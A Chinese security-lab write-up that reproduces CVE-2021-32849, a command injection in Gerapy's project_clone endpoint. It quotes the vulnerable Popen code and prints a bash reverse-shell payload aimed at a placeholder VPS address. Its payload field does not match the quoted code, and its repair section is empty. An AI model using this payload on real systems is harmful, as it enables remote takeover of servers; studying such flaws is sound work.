声明
0x01 漏洞描述
Gerapy是基于Scrapy;Scrapyd;Scrapyd-Client;Scrapyd-API;Django和Vue.js的分布式爬虫管理框架。
本文利用的漏洞在Gerapy <=0.9.7的版本中产生的影响源于程序没有正确清理通过project_clone端点传递给Popen的输入。经过身份验证的用户可以执行任意命令。
0x02 漏洞影响
0x03 环境搭建
pip install gerapy==0.9.7 -i http://pypi.douban.com/simple --trusted-host
pypi.douban.com
pip install scrapyd -i http://pypi.douban.com/simple --trusted-host pypi.douban.com
通过以下命令设置gerapy的相关参数
gerapy init ##初始化
cd gerapy ##进入工作目录
gerapy migrate ##自动创建数据库
gerapy createsuperuser ##设置管理员账号密码
gerapy runserver 0.0.0.0:8000 ##开启服务
0x04 漏洞分析
@api_view(['POST'])
@permission_classes([IsAuthenticated])
def project_clone(request):
"""
clone project from github
:param request: request object
:return: json
"""
if request.method == 'POST':
data = json.loads(request.body)
address = data.get('address')
if not address.startswith('http'):
return JsonResponse({'status': False})
address = address + '.git' if not address.endswith('.git') else address
cmd = 'git clone {address} {target}'.format(address=address, target=join(PROJECTS_FOLDER, Path(address).stem))
logger.debug('clone cmd %s', cmd) p = Popen(cmd, shell=True, stdin=PIPE, stdout=PIPE, stderr=PIPE)
stdout, stderr = bytes2str(p.stdout.read()), bytes2str(p.stderr.read())
logger.debug('clone run result %s', stdout)
if stderr: logger.error(stderr)
return JsonResponse({'status': True}) if not stderr else JsonResponse({'status': False})
0x05 漏洞复现
{"spider":"`/bin/bash -c 'bash -i >& /dev/tcp/VPS的IP/VPS的端口 0>&1'`"}
0x06 漏洞修复
▇ 扫码关注我们 ▇
长白山攻防实验室
学习最新技术知识
原文始发于微信公众号(长白山攻防实验室):CVE-2021-32849 Gerapy远程命令执行漏洞复现
免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉。
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论